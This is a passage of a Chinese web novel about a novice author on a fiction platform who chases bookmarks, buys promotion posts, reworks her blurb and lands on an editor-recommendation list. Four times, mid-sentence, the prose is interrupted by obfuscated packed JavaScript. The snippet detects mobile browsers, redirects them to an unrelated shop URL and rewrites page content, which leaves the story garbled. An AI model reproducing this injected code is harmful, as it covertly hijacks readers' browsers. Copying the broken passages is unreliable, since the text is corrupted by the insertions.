普江为新作者准备了不少入V前的曝光榜单：“育苗榜”排在频道末尾，专门扶持那些字数多、更新稳的小作者；“八仙榜”则按题材分为八个榜单，作品在发文后的21到80天内，会根据积分自动上榜。 其次还有“更新榜”“月榜”“季榜”等等，对新人作者来说聊胜于无。毕竟前排都被大作者高收藏的书给占了，又有谁会翻阅几十页来宠爱一个名不见经传的小作者呢？ 不过，除了“一周新文榜”“新晋作者榜”和“编辑推荐榜”这类榜单以外，不少读者都是通过“育苗榜”和“八仙榜”来淘有灵气的新书的。 檀檀之所以会找家里人帮忙凑够10个收藏，还是因为前段时间作者群里流传的一种说法： 读者真的会参考收藏量来决定要不要点开一本书！ 0到10个收藏、10到100个收藏、1000到1万收藏、1万以上收藏……每个区间都对应着不同的读者群体。 也可以这么理解：不同的收藏量，会吸引到不一样的读者。 比如有的读者，非万收文不看，觉得收藏不过万的书不够水准；也有的读者就喜欢在几十个收藏的“幼苗”里淘书，毕竟高收藏也是从低收藏慢慢爬上去的，他们享受的就是这种“养成”的快乐。 檀檀盼着能早点突破10个收藏，迎接那些愿意“收养”她的新读者。 可谁曾想，此得彼失…… 痛定思痛，檀檀反思后认为，问题出在自己前两天忙着带签约，本末倒置，有一章内容明显注水，读者一定是看得出来的。 那个人，对她一定很失望吧…… 正沉浸在懊恼的幻想中时，檀檀不自觉点开了作者群。 写作本身是件与世隔绝的事。作者在书里构建另一个世界，在现实里却往往孤独。大多数作者不会在生活里轻易透露这份职业，只能在网上寻找属于自己的圈子。 檀檀一直觉得幸运，她们的编辑建的这个小作者群，刚好把她们这群成绩差不多的“话痨”凑在了一起，可以畅所欲言，互相取暖。 只是，檀檀定睛一看群消息。 【普江作者交流6群（200）】 [白碧溪已加入群聊] 白碧溪：大家好，我是新入群的新人。 兔仔：欢迎欢迎！真不容易啊，咱们群满员了。 水盛酒：欢迎加入楚梨编编的大家庭！ 写文也要双休：热烈欢迎！ 檀檀：@白碧溪，我去，太有缘分了吧。 白碧溪：@檀檀，我去，老师你？！！ 水盛酒：@檀檀，怎么说，你们认识？ 缘分真是妙不可言，檀檀帮白碧溪看站短时，就知道她也是被编辑楚梨捞走的，只是没想到对方正好被拉进了自己的群，填了最后一员的空缺。 果然，白碧溪上了当，她按照群公告的提示，老老实实把群昵称改成了自己的真实笔名。 这下，檀檀和白碧溪算是互相“掉马”了。 檀檀索性直接告诉大家：这就是我前几天带的那位新人！零杀过签的！ 白碧溪：（害羞）还是老师经验足，帮我解决了好多问题，不然我也没法和大家当群友了。 梅子青：零杀过签？突然想起我当年也是零杀过的，那天感觉自己一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅子青：但是我还是相信文好可破，有希望的，别那么悲观啦，好好提升自己，好好写文才是要紧事。 兔仔：@白碧溪，说起来，你记得买“不可说”。 栖川：什么是不可说？ 水盛酒：@兔仔，@栖川，撤回！！！ 兔仔飞快撤回了消息，而栖川那边却像断了线，那句话迟迟留在群里，直到被刷屏的表情包顶了上去，无影无踪。 直到反应过来的兔仔恼怒发言：@水盛酒，不可说又不是刷收藏，你在着急什么？ 水盛酒：傻子。 …… 此时，檀檀正坐在屏幕前发呆。午后阳光斜穿进卧室，在她电脑屏幕上切出一道明暗交界，左侧是飞快上滚的对话框，右侧是她那仿佛永远凝固的作者后台。 消息浮得那么快，收藏却好像永远停在了那一刻。 檀檀忽然觉得，自己写的东西，大概真的要永远石沉大海了。 恰在此时，白碧溪的私聊消息弹出来： [老师，什么是不可说？] 6. 无效收 “不可说”几乎和“管三”一样，是普江作者圈里心照不宣的黑话。 今时不同往日。如今在普江写文，除了埋头创作外，作者们似乎还得点亮一堆额外技能：运营、宣发、甚至公关。 那些已经写过好几本书的大作者自带读者基础，新书开篇不太愁曝光；可小作者想冲上榜单，首先得攒够基础收藏。 比如古言频道第一个人工榜“编辑推荐榜”，通常就得有30个收藏才能上。 但没有榜单曝光，又何谈收藏呢？ 这就像“先有鸡还是先有蛋”的古老问题，对小作者来说，残酷的真相是：她们既没有鸡，也没有蛋。 于是，一些聪明的小作者开始向外找老母鸡来下蛋。 除了红色的大地瓜APP外，更有一个隐秘的角落。 它的界面黄黄的，顶着个咸鱼头像，被戏称为“赛博黑市”。 没错，就是咸鱼干APP。 白碧溪：[啊，我知道了，“不可说”就是推文吧？我常在大地瓜上刷到。原来得去咸鱼干上买吗？] 檀檀：[推文的途径有好几种。除了自己建号宣传，很多人也会在咸鱼干上买推文条，价格从几块到几十块不等。大地瓜上也有一些好心推文号愿意免费帮新人宣传。] 白碧溪：[可我总觉得字数还少，写得也不够好……买了推文效果可能也不好，但不买的话，能有出路吗？] 檀檀在屏幕外叹了口气，她自己何尝不是这么想的。正因犹豫，她也没怎么认真研究过推文。 想了想，她还是敲下回复：[小作者如果完全不自己推，出路有，但很窄，只适合天赋型选手，或者运气极好的少数人。] [那老师您怎么没去买推文呢？] 檀檀的手指停在键盘上，看着这句话，脸上有点发烫。 知道和做到，终究是两回事。 她脸皮薄，总觉得收藏不到十个就买推文，万一评论区全是嘲笑怎么办？ 其实之前好不容易鼓起勇气买了一次，却没注意到对方标注着“不爆号”——也就是不公开推广账号的意思。 两天过去，书的点击纹丝不动。檀檀去问，对方已读不回。后来在群里一问才确信：人家或许根本就没发。 第一次买推文就被骗，让檀檀备受打击。但今天掉收的事，反而让她重新鼓起了勇气：她打算给白碧溪发完这些话后，再去试试找推文。 被嘲笑也认了！比起书一直无人问津的惨淡，换来几句嘲讽好像……也不算什么大事！ * 檀檀跟白碧溪解释完“不可说”后，想起群里似乎还有人在问。她往上翻了翻记录，原来是栖川。 想起来了，那位话不多的老实人男作者。 她便顺手把刚才那番解释也私聊发了一份给栖川。 过了一会儿，栖川简练地回了句“谢谢”。 檀檀说：[不客气。] 她又把之前整理好的新人文档也发了过去，叮嘱他有空看看。其实群里以前也进来过男作者，不过没多久就解约退群了，那次闹得还挺大，因为对方在普江写男主角开后宫的故事，很快被读者们骂穿了…… 除了顾己卿那个神人，或许普江终究不是适合大部分男作者扎根的地方。 不知道栖川能待多久。 出于一时好奇，檀檀想知道男生在普江会怎么写故事，便顺手搜了搜栖川的作品。 没想到，他的专栏里只有一本书，还是一本没有发表时间、仅曝光了文案的“预收文”。 檀檀随手给他发了条消息： [你的《夺臣妻》，没见到你更新啊。] 十分钟后对方才回复： [我写书很慢，打算全文存稿后再发。] 檀檀撇嘴，何止写得慢，这人回消息也从来慢吞吞的。 莫不是个老头吧。 [为啥写得这么慢？] 此时，窗外天空湛蓝，浮云悠悠。 远在另一座城市的栖川，接了一杯热水，站到落地窗前慢慢地喝了半杯，凝睇远处，心有微惘。 似是下了什么决心，才走回电脑前敲了几个字发给檀檀： [因为，不开心。] 檀檀手比脑快，噼里啪啦打下一行字：“那你不开心的时候，可以来找我。” 若对方是位女孩子，她肯定就发出去了。 突然顾忌到对方是男士，她又立刻按下删除键。 栖川看见对话框上方显示“对方正在输入……” 好半天以后，檀檀的消息才跳出来： [好吧，祝你以后能开心起来] …… 栖川没有再回复。 其实檀檀本来想把自己的大女主文发过去，劝他不开心的时候看看，自己能让他开心死——哎呀总之，也算为自己争取到一个读者。像这种新人小作者最好骗了，普江的读者里潜在作者很多，作者也百分百是读者，只要把他们骗到手，慢慢圈养起来，以后的营养液说不定都能浇给自己。 但这样直接发书名，好像有点太刻意了…… 多少有点趁火打劫的意思。 不过，檀檀只犹豫了三秒。 手指一动，还是把书名发了过去。 她太需要一个收藏了。 * 出乎檀檀的意料，这个老实人男作者好似不太上道，并没有收藏她的书。 反倒是半个小时后，突然给她发来一条链接。 檀檀点开一看，是篇攻略帖： 《普江三星作者教你如何写文案》 普江的作者是有等级划分的，依据是该作者名下收入最高的一本书去除霸王票后的总收益：收入100万及以上为五星，50万以上为四星，10万以上为三星，5万及以上为二星，1万以上为一星。 像檀檀这样收入为负数，以及其他收益不足一万的作者，则被称作“空星”。 檀檀暗自琢磨，像普江那位顶流大神人顾老师，恐怕得有五十星。 不过，栖川不收藏她的书，反倒丢来一条指点江山的链接，使得檀檀顿键沉吟道：[你是不是觉得我的文案有大问题？] 栖川：[我不太会写文案，也不知如何帮你，不过搜见一个帖子，写得不错。] [好的，谢谢大哥！] 这哥们儿说话太奇怪了。 檀檀还是不死心，婉转地试探道：[那个……你读者号的星级是多少呀？] 和作者星级类似，普江的读者也会根据充值金额划分等级。 比如檀檀的小表妹是三颗心，大概充了一千多。一颗心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081086|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表一个零，四颗心就是一万，五颗心对应十万。 过了半晌，栖川悠悠发来一张截图。 檀檀定睛一看—— 好吧……0颗心。 “都不在普江充钱看书……还来写什么小说。”她对着屏幕小声嘟囔。 既然是0颗心，那就算点了收藏，恐怕也是“无效收藏”。这么一想，檀檀也就不再纠结他没给自己点收这件事了。 普江为了维护榜单公平、抵制刷数据，把收藏分成了“有效收藏”和“无效收藏”。据说两者的判定依据并不公开，只有编辑能看到一本书的有效收藏数。 檀檀用爷爷奶奶手机注册的小号，也是参照网上流传的“有效收藏”判定标准，充值之后才敢给自己点的。 虽说为了这点有效收藏折腾得够呛，檀檀心里把普江这磨人的规则腹诽了八百遍，却也知道，这条规则是为了保护小作者。 不过，与其陷在规则的条框里琢磨，不如先回到作品本身。 檀檀不会放过任何一个能提升自己的机会。 栖川发来的那条帖子，她仔细读完，终于明白了一个道理：努力对了方向，比瞎使劲有用得多。 她照着攻略里说的，去扒了几本“佳作榜”上的文案，这一对比才恍然：自己的文案确实问题不小。 如今普江流行的多是三段式文案，核心原则就四个：短平快、抓爆点、立人设、勾悬念。 新人最容易踩的文案坑也无非那几种：人设模糊、剧透太多、无病呻吟、核心梗不明确。 檀檀对照着自己的文案一看——得，这些毛病，她恐怕全占了。 文案的第一句往往决定了“点击率”，而她的第一句写的却是： 【有榜随榜更，没榜隔日更，有机会入V的话就日更】 …… 檀檀脸颊一烫，赶紧把这句话从开头挪走了。 天呐，当初是怎么想的？自己才10个收藏，又没上榜，怎么就敢把更新说明摆在最前头…… 就算真有榜，这句话放第一行也实在太喧宾夺主了。 这话倒适合拿给顾己卿那位神人来用，毕竟他评论区里不是“开文求卿神保佑”，就是“保佑卿神能开文”。 他要是开新文，哪怕只丢个句号，恐怕也能轻松万收。 他若真写一句“没榜隔日更”，读者们怕是真要敲锣打鼓、奔走相告了~ …… 神魂赶紧从顾己卿那里拿回来——眼下最要紧的，还是自己后面的文案。 可具体该怎么改，檀檀又陷入了茫然。 毕竟，写文容易改文难啊！对有些作者来说，改文比写新文还折磨人。 深夜，屏幕的光映在檀檀脸上。她又点开了那个黄黄的图标。 咸鱼干APP。 指尖在“文案诊断”、“前三章点评”、“修改指导”等名目间滑动，价格从几块到几百不等。檀檀抿着唇，心里那杆秤左右摇摆：一边是又要付费写文的不愿，一边是文章石沉大海的寂寥。 最后，她的目光停在某个“资深读者视角详评”的链接上。 标价：20元。 “20块钱……”檀檀的手指悬在屏幕上方。 眼一闭，心一横，点了下去！ “买不了上当！” 7. 梦里望 很快，文案铺子的卖家便根据檀檀留下的联系方式发送了好友申请。 檀檀有些拘谨，将文案交给陌生人点评的心态，确实有点像去医院做心电图：你得主动袒露胸口、敞开软肋，对方却始终冷静客观。 冰凉的探头贴上皮肤，激得你微微一颤，他开始审视屏幕上的波动，最终给出几句理性冷酷的诊断。 檀檀将自己的书名奉呈之后，便默默退出了聊天框。次日照常还完倒欠世界的三千字，确保更新状态那朵粉色的小花亮起，又陪爷爷奶奶散步消食回来……对方竟然还没发来回复。 檀檀心想：她的书是该有多晦涩难懂啊？ 在网文圈，“您”“请问”“好嘟”“谢谢啦”这类词，是小作者们在马甲半露时，向陌生合作方示好的高频用语。没办法，作品就像作者亲手养大的孩子，如今“孩子”在别人手上揣着，檀檀只好客客气气地敲了句话，委婉催问了一下。 终于，对方的回复跳了出来。 …… 不能说于事无补吧，只能说无补于事。 毕竟檀檀是请对方提“意见”，而不是直接“修改”文案。 号称“资深读者视角”的资深倒是不假，找出了檀檀文案里的错别字。可除此之外，也没有更多实质建议。 檀檀礼貌道谢之后，默默记账：写文收入，负150元！ 后知后觉咂摸过味来，得，又被赛博黑市给涮了。 她切到朋友圈，手指翻飞，敲下一行字： [20块钱，买不了上当，但能买到吃亏。] 配图是咸鱼干APP那黄澄澄的图标，角落处还P了个流泪猫猫头。 刚发出去没两分钟，消息栏就跳出一个红心。 点赞人：一颗芹菜。 接着，对方的消息追了过来： [姐妹，你又去踩雷了？（摸摸头.jpg）] 檀檀回了句“唉，找文案点评踩雷了”，正想大吐苦水，一颗芹菜紧接着又发来一句：[你文案发我看看。] 檀檀知道，一颗芹菜在古言频道是出了名的“文案诈骗犯”，收藏能涨起来，大半功劳都归她那钩子般的文案。 她愿意帮自己？ 檀檀赶忙把文档发了过去。 几分钟后，一颗芹菜的回复来了，干脆利落： [问题不少，但能救。] [现在有空吗？我语音跟你过一遍。] 没等檀檀回神，语音邀请的提示音已经响了起来。 接通的瞬间，一颗芹菜清亮又带点飒爽的声音透过听筒传来： “听好了啊，第一句就不能这么写。‘她权倾天下之后，却发现失去的比得到的更多……’太虚了，读者抓不到点。” “那怎么写？” “直接给画面，给冲突！” “接下来，人设立住。别写‘她坚强又脆弱’，那叫废话。从侧面烘托人设，举具体事例，让读者自己悟出来她的坚强和脆弱。” …… 那一晚，檀檀将文案标满了密密麻麻的红色批注。 一颗芹菜一句句带着她拆，带着她改，从钩子到人设，从情绪递进到悬念收束。 《她权倾天下之后》仿佛被注入了灵魂，从苍白模糊的影子，渐渐变得棱角分明，有了血肉与温度。 结束前，一颗芹菜笑着说：“咱们是一起吃过亏的战友了。下回再想‘买吃亏’，先问问战友，成不？” 檀檀看着焕然一新的文案，鼻子有点发酸。 “檀檀，文案改好了，接下来可以考虑推文了。” 檀檀正想请教这个，便认真听她说下去：“除了大地瓜以外，微博、豆音、快脚其实也能试试，不过转化率可能低一些。” “我怕文还没完结，发出去会挨骂。毕竟读者都爱看完结文。” 这是檀檀的心里话，她自己当读者时，也偏爱完结文。 追连载风险太大，万一碰上断更、烂尾、作者跑路，钱花了不说，心里还得吊着一辈子。《红楼梦》丢了的后四十回，就是最好的例子。 “停！”一颗芹菜打断她，“现在这世道，前期完全不推也不行，不能闷头写到完结才宣传。你想想，要是写三四十万字，收藏还只有几十个，那时候别人只会说‘都没人看还推什么推’。” 这话像一阵风，倏地吹散了檀檀心头的雾。 星子低悬，月色清宁，檀檀被这份善意深深触动，要挂电话前，她忍不住问道：“你之前那件事……影响过去了吗？” 知道她问的是AI封面的避雷帖，语音那头静了一下，才传来一颗芹菜故作轻松的声音：“嗐，大家也就是吃个瓜，热闹两天就散了，后续根本没人在意。” “你知道的，历来避雷吃瓜贴总被推得满天飞，辟谣澄清贴反而没几个人看。没争议的东西，算法是不爱的。” “不过，我还是很爱我的读者们。” 一颗芹菜的声音倏然软了下来。 “你不知道，那天，有位读者去所有推我文的帖子下面挨个踩了一遍。我想着，我写的东西竟然能让她这么生气……就去找她，想私下把订阅钱退给她，结果直接被拉黑了。” “可是，等我回到书里，其它的读者正对我说生日快乐。” “其实那天根本不是我的生日，但我还是心软软了。想写一堆雷炸死读者的心，又因为她而变得温柔。” “所以啊，檀檀，你只需要找到和你同频的读者就好。” “推文也好，榜单也罢，都只是一条条曝光的小路。我们不过是在茫茫人海里，和那些注定不喜欢你的人擦肩，然后，走向那些会为你停留的人。” …… 看得出来，一颗芹菜这番话是经历过许多后才有的感悟。 可惜檀檀只听见电话那头叽里呱啦一通抒情，她的心思早就飞到“如何找推文”身上去了。 挂掉电话后，檀檀直到半夜也没睡着。 四下安寂，她在床上翻来覆去，捏着手机屏，一下一下划着那些推文号的主页。 骨碌翻身坐起来，檀檀最终还是打开电脑，列了一个详细的表格。按平台划分，把问过的、想联系的推文号一个一个记录下来，计划以三天为一个节点，三天推一条，再有条不紊地去私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081087|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信沟通。 这些都规划清楚了，檀檀才大松一口气，放心阖眼睡去。 * 安排好一切后，檀檀反而觉得码字的效率提高了不少。按照一颗芹菜的指点，再结合自己研究榜单上那些优秀文案的心得，她把文案打磨了无数遍。 越是怕改，就越要跟自己较劲。 《她权倾天下之后》是本剧情流的强女主文，檀檀按照三段式模板尝试了各种风格：轻松的、严肃的，甚至自创了一种以“第二人称”为主的叙述角度。 这版文案虽是新奇，却是“非主流”，最终没有使用。 但每改一版，她就在后台文档里记一次，前后改了三十多遍，才终于定下一版满意的。 这还不够。一天傍晚，她陪奶奶看苦情剧时，突然被一句台词点醒，立刻跑回房间又改了一遍。 檀檀安排的推文配合着一次次修改后的文案陆续发出，效果开始显现——而且比预想的还好。 她一条条翻着那些推文帖下的评论：从最初的无人问津，到渐渐有人“蹲完结”，再到出现“我去尝一口试试”的留言……每一条都让檀檀欢欣鼓舞，码字也更有劲了。 大约半个月后，檀檀眼睁睁看着收藏数一路涨到了38个。这主要是因为其中一条推文突然小爆了。 之前的帖子每次只能带来两三个收藏，而这条却在一小时内给她涨了十个！ 当然，故事的结局是，檀檀反复刷新那条推文帖，当它的赞数不再上涨时，书的收藏也停在了38这个数字上。 因为，推文被人举报了。 这可是她第一条小爆的推文啊。檀檀联系推文号，请对方重新编辑后再发，可流量还是断了。 原因不明。 最终，她又回到了刷新十几次也不见变动的数据面前。 小作者，就这么需要依赖推文吗？ 更残忍的是，最近檀檀一直在观察顾己卿那本《镜司志异》的数据，每过几分钟刷新，收藏都在往上涨。 她粗略算过，一夜之间，对方就能涨500个收。 普江文学城有个“新书千字榜”，因为位于读者书架最上方最醒目的位置，被作者们戏称为“夹子”。每本书入V后的第四天都会上夹子。 这个榜单造就过不少神话：有一天涨收上万的，被称为“夹子飞升”的；也有一天只涨几十个，被称为“夹子坠机”的。 而顾己卿的书，现在既不在夹子上，也不在金榜前排，纯粹靠口碑。 靠读者之间，口口相传。 原来普江水流中的“冷”，只针对小作者。 她和顾己卿，仿佛活在两个世界。 那天晚上，檀檀罕见地做了一个梦：梦见自己的收藏突然从38个涨到了80个。 随后，她在兴奋中醒了过来。 月辉清泠，淌过窗台，在床尾凝了一片浅白。 “信女不贪心，不求像卿神那样。 惟愿每天醒来时，能涨8个收藏，就够啦~” 檀檀鬼使神差地，点开《镜司志异》，用大号在章末留下了一条评论，许下这个愿望。 8. 编辑推荐榜 一晃，已是周四。 爷爷奶奶晨练回来的动静不小，门开阖声、搁放东西的细响，夹杂着几句日常斗嘴，渐渐漫进卧室。 檀檀睡得晚，却醒得早，浑身上下还带着深睡未消的倦。 她对着镜子随意拉伸了几下，拧开热水洗漱。热汽氤氲上来，镜面很快朦胧一片，只能看得清身上睡衣左胸口的“米奇”。 这身睡衣穿了太久，几乎都穿成了“工服”。 卧室窗外，烫卷发的大姐正匆匆蹬着高跟出小区门，顺口和门卫打了声招呼。她身上的银色皮裙被朝晖一照，泛出一道光，正好晃进8栋4楼的檀檀眼里。 忽然间，她有点想出门走走。 自从签约全职作者以来，檀檀拿着这些年攒下的工资，暂时租住在嘉都的小公寓里，整天对着电脑，三餐靠外卖，无人过问。 不想回父母那儿，是不想被唠叨到耳朵生茧。如今回到贡江这座小城反倒自在。和爷爷奶奶住在一起，不仅吃食有人张罗，还能“为所欲为”。 但细算下来，除了每天傍晚下楼帮爷爷奶奶收摊，檀檀确实已经很久没有正经出门逛过了。 餐桌上摆着爷爷煨好的首乌粥，温着时可以当檀檀的早餐，放凉了能当檀檀的午餐。 这会儿粥还腾着热气，檀檀心不在焉地用勺子搅着，摸出手机，在置顶的联系人列表里来回翻看，犹豫着要不要发条讯息。 正在洗碗的爷爷见孙女难得早起，眼睛都亮了。 “总窝在屋里也不是事儿，啥时候不忙了，去河边公园转转？绕着堤走两圈，透透气。” 奶奶坐在一旁，手里择着一捧嫩生生的豌豆尖：“今天周四，明天就周五了……周六你约蝶蝶出去逛逛呗，买身新衣裳。” 奶奶颤颤伸手掏向围裙口袋，“不够的话，奶……” “给你补贴”还没说出来，檀檀突然“啊”了一声。 从椅子上弹起来，转身冲进卧室。 打开电脑，检查完榜单，才放下心来。 对啊，今天周四。 让所有普江作者翘首以盼的“放榜日”！ 通常从周三开始，“咕咕们”就啁哳起来了。 榜单决定流量，而流量不会白白到手。上榜以后，必须写够规定的字数。不同榜单要求不同，一旦上了榜却没写够，就会被打入“黑名单”，被罚没后续榜期资格。 于是，每周三深夜23点59分59秒之前，差榜单字数的都在拼命赶榜单字数。 举报别人文章的也在忙着举报别人的文章，仿佛少一个对手，自己就能多一丝上榜的希望，眼睛都熬红了。 檀檀对这期榜单本不抱希望，《她权倾天下之后》自从满了三万字以来，次次申榜，次次轮空。起初还以为是自己申榜的姿势不对，后来才知道是自己申榜的脸皮太厚。 古言是个热频，新人必上的第一个榜单，非“编辑推荐榜”莫属。 有人戏称编推榜就像一块垫脚石，古言频道的大小作者都得从上面踩一脚，才能迈进更好的榜单。 而要想上编推，收藏至少也得在60以上。 檀檀的书才38个收藏，还远着呢，恐怕还得再小爆一条推文才行。 注定还是轮空的命，但38个收藏好歹也属于蚊子肉，很容易被发配到电脑网页端那些“毒榜”上去。 所谓毒榜，毒就毒在位置太偏、曝光几近于无。 普江的读者通常从三个渠道看书：电脑网页端（PC）、手机浏览器端（WAP），以及最常用的APP端。 知名毒榜恰恰集中在PC端，比如“重磅推荐”和“活力更新”，上去之后，字数要照赶，收藏却一动不动。 这样可不行，毕竟“编推榜”有洁癖，它只要这个作品的第一次完完全全属于它。 如果上过别的，就不能上它了。 檀檀索性就在“无意愿榜单”里叉掉了其他毒榜。刚刚就是过来确认这个事情。 古言频道通常下午1点放榜。还不到11点，作者群里已经热闹起来，各种“求好榜”的表情包刷屏祈福。 檀檀自然也跟了起来，早把约蝶蝶逛街买衣服的事儿给忘到九霄云外去了。 * 1点准时到来。 作者群里跟菜市场一样热闹，有喜讯的都在汇报。 水盛酒稳扎稳打，毫无悬念的上了“精品展示”，这个榜单可以展示书的封面，吸睛程度不亚于金榜。 兔仔从新晋榜上下来后，上了“星秀作品”，也是个好榜单，不少作品都会在这个榜单上入V。 檀檀盯着后台那条新站短，眨了好几下眼才敢确认—— 《她权倾天下之后》，上了、上了本期的编辑推荐榜。 嚯？ 嚯！ 38个收藏，居然真给她挤上去了！ 【普江作者交流6群（200）】 檀檀：[震撼我全家！！！] 站短截图刚甩出去，群里静了一瞬，随即炸开了锅。 顶着“手捧玫瑰的刘亦菲”头像的白碧溪第一个跳出来：[恭喜老师！（撒花）（转圈）] 水盛酒紧随其后： [檀檀你踩了狗屎运了！38收就能上鞭腿榜？！这得创古言频最低纪录了吧？！] 写文也要双休：@水盛酒，你看清楚！！！檀檀甚至不是最后一名！ 看着飞快刷屏的祝贺和感叹号，檀檀才后知后觉地惊喜起来。 上了编辑推荐榜，运气好的话，一周涨上百收都不是梦。 怎能让她不激动？ 可奇怪的是，她那仅有的38个收藏，竟然排在了榜中段位置。 编辑推荐榜共分两个区域：前六位是“图推”，带封面曝光，效果最好；后面十四个位置只有文字。 前六位通常被开文空降的大神占据，她们动辄几千收藏打底，新人根本争不过。 但檀檀这个38收，居然卡在中游…… 简直滑天下之大稽！ 再往下看，排在她后面的那位，收藏有50多个。 而最后一个位置，甚至被一个16收的小卡拉米捡了漏。 …… 震撼的不止是檀檀全家！ 整个下午，作者群都在热火朝天地分析这次榜单的异常。甚至大地瓜APP的推文区都被惊动了，几条质疑本期编推榜的帖子，很快被推送到各个作者的首页。 类似：《管三睁大你的眼睛，普江要亡了》 《这是古言吗？我简直难以置信》 《黑幕！鞭腿线创历史新低》 《是不是hyb开始团建了？》 唯独檀檀欣喜不已，只顾着反复刷新后台，围观自己跳动的数据。 哼！谁说大女主没人看的？！这才一下午，她就涨了6个收藏！ 榜单能有什么异常？绝无异常！ 她们懂什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081088|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这一切，都是系统大人的安排。 檀檀沉浸在自己的美梦中…… 那个人，今晨一定站在普江总部高层偌大的落地窗前，远眺脚下流动的车河，声线沉冽： “传下去，本周榜单，收藏比檀檀高的，都不准放进去。” 助理垂首躬身：“是，属下立刻去安排。” 落地窗前的身影未动，轻敛凤目，浅啜一口热红酒，骨节分明的手指愈发冷白。城市的光影铺在身后的玻璃上，衬得肩线利落又矜贵。 …… 檀檀把这段颅内小剧场发到了群里。 兔仔：@檀檀，醒醒，咱们普江在帝都的总部就在一栋居民楼里，朴实无华。据说管三都是骑电动车上班的。 咕噜咕噜：@檀檀，高雅的落地窗记得改成防盗窗。 兔仔：@檀檀，热红酒也换成热水吧，最好用老干部保温杯。 檀檀：“……” 咕噜咕噜：对了，说到管三，我看他微博提过，最近好像有个普江年度盛典，不知道今年会请哪些作者去。 兔仔：你是想问卿神去不去吧？管三对他可殷勤了，肯定重点邀请。 檀檀：卿神好像从来没去过普江盛典。 兔仔：那肯定啊，咱们小破站办活动一向抠抠搜搜，卿神要是真来了，那不得自降身价？ 水盛酒：@檀檀，破案了！和你同期的那几位，集体落马了。 大家转而点开水盛酒从举报中心翻出来的截图：那些原本三百多收、本该稳上的作者，因为数据造假被下了榜；还有一个则是写小黄文，直接被口了一大片。 檀檀：那排在我后面、五十多个收藏的那位呢？又是怎么回事？ 水盛酒：可能有效收藏比你低吧。恭喜啊檀檀，你的有效收比例挺高嘛。 这些真相丝毫没减损檀檀的喜悦。她索性趁这个机会，把前几日辛苦整理的《靠谱推文联系表》发到了群里。 无私地，共享给了所有人。 檀檀：[奉天承运，皇帝诏曰：朕心甚悦，与尔同享。] 其实她想法很简单：自己走过的弯路，不想让别人再踩一遍。 兔仔：[这些是什么好东西？我眼睛没花吧？！] 檀檀：[我亲自实验过的好用的推文号，至少人家是真发了。] 白碧溪：[檀总威武！] 咕噜咕噜：[檀总威武！] 栖川：（大拇指表情包） 檀檀：[攒个人品嘿嘿~只求上天让我收藏upup，涨个不停，拜托啦~] 群消息很快被一连串“快让我檀姐涨收！”的队形刷屏覆盖。 * 按照檀檀的计算，如果按编推榜一周平均涨100收来看，那每天大概能涨14个。 她破天荒地跑到顾己卿的《镜司志异》页面下，找到之前那条许愿留言，认真地跟了一条回复：“原来求卿神真的有用！” 她单方面宣布：看在这次榜单的面子上，以后就不说让顾己卿滚去走点文学网的话了。 然而，三天过去，檀檀眼巴巴地刷新后台超过一百次，涨幅却远不如预期。 三天也才涨了十几个。 她顺手在群里抱怨了一句：[一整个上午了，收藏动都不动。呜呜！] 发完就把手机撂到一边，继续对着文档敲字。过了大概十分钟，她扫了眼后台。 咦？ 收藏加了一个。 9.系统大人暗恋我 八月上旬的风，热烘烘的。 檀檀坐在书桌前，吃着反季的车厘子。果径小，带着些微酸。 “我今天看见卖车厘子的，尝了一颗，甜得很！那个摊主说，这是智利来的反季节货。一问价格，贵得吓人。我又尝了另一家，说是咱们国产的晚熟露天樱桃，买了两斤。你喜不喜欢吃呀？” “奶奶，酸点好，我就好这一口，不是酸的，我还不吃呢。” 檀檀笑着应声，一颗接一颗，不一会儿小半筐就见了底。 奶奶瞧见了，也不多说，笑眯眯地洗好新的，又给她添满。 “奶奶跟你商量个事……” 檀檀抬头，奶奶眼角的皱纹都揉得软软的，带着点宠溺的嗔怪。 “你今晚，能不能早点睡啊？” 昨晚起夜，客厅的夜光钟都走到凌晨两点了，孙女的房间里还传来噼里啪啦的键盘声。她知道，这是孙女的工作。她的孙女和别人家的不一样，工作不用出门奔波，不用跟人打交道，也不用看领导的脸色。可怎么好像……她从早到晚都在工作呢？ 不是说写文章很容易吗，怎么一天到晚都离不开键盘？ …… 